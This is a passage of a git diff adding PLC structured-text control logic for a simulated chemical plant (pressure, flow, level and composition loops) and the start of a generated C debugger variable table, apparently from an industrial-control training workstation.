pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, 